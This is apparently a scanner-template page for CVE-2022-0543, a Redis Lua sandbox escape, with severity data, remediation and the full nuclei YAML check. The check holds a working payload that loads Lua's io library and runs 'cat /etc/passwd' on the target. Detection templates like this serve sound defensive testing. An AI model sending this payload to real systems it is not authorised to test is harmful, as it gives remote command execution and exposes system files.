Redis Sandbox Escape - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-03-28; known to be used by ransomware.

criticalseverity

10CVSS score

99.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

This template exploits CVE-2022-0543, a Lua-based Redis sandbox escape. The vulnerability was introduced by Debian and Ubuntu Redis packages that insufficiently sanitized the Lua environment. The maintainers failed to disable the package interface, allowing attackers to load arbitrary libraries.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and compromise of the affected system.

Fix

Update to the most recent versions currently available.

How to confirm it

Send: tcp probe to {{Hostname}}, tls://{{Hostname}}
Positive when: matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2022-0543 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-0543

info:
  name: Redis Sandbox Escape - Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: |
    This template exploits CVE-2022-0543, a Lua-based Redis sandbox escape. The
    vulnerability was introduced by Debian and Ubuntu Redis packages that
    insufficiently sanitized the Lua environment. The maintainers failed to
    disable the package interface, allowing attackers to load arbitrary libraries.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and compromise of the affected system.
  remediation: Update to the most recent versions currently available.
  reference:
    - https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce
    - https://attackerkb.com/topics/wyA1c1HIC8/cve-2022-0543/rapid7-analysis#rapid7-analysis
    - https://bugs.debian.org/1005787
    - https://www.debian.org/security/2022/dsa-5081
    - https://lists.debian.org/debian-security-announce/2022/msg00048.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2022-0543
    epss-score: 0.99351
    epss-percentile: 0.99939
    cpe: cpe:2.3:a:redis:redis:-:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: redis
    product: redis
    shodan-query:
      - redis_version
      - redis
  tags: cve,cve2022,network,redis,unauth,rce,kev,tcp,vkev,vuln
tcp:
  - host:
      - "{{Hostname}}"
      - "tls://{{Hostname}}"
    port: 6380

    inputs:
      - data: "eval 'local io_l = package.loadlib(\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\", \"luaopen_io\"); local io = io_l(); local f = io.popen(\"cat /etc/passwd\", \"r\"); local res = f:read(\"*a\"); f:close(); return res' 0\r\n"
    read-size: 64

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from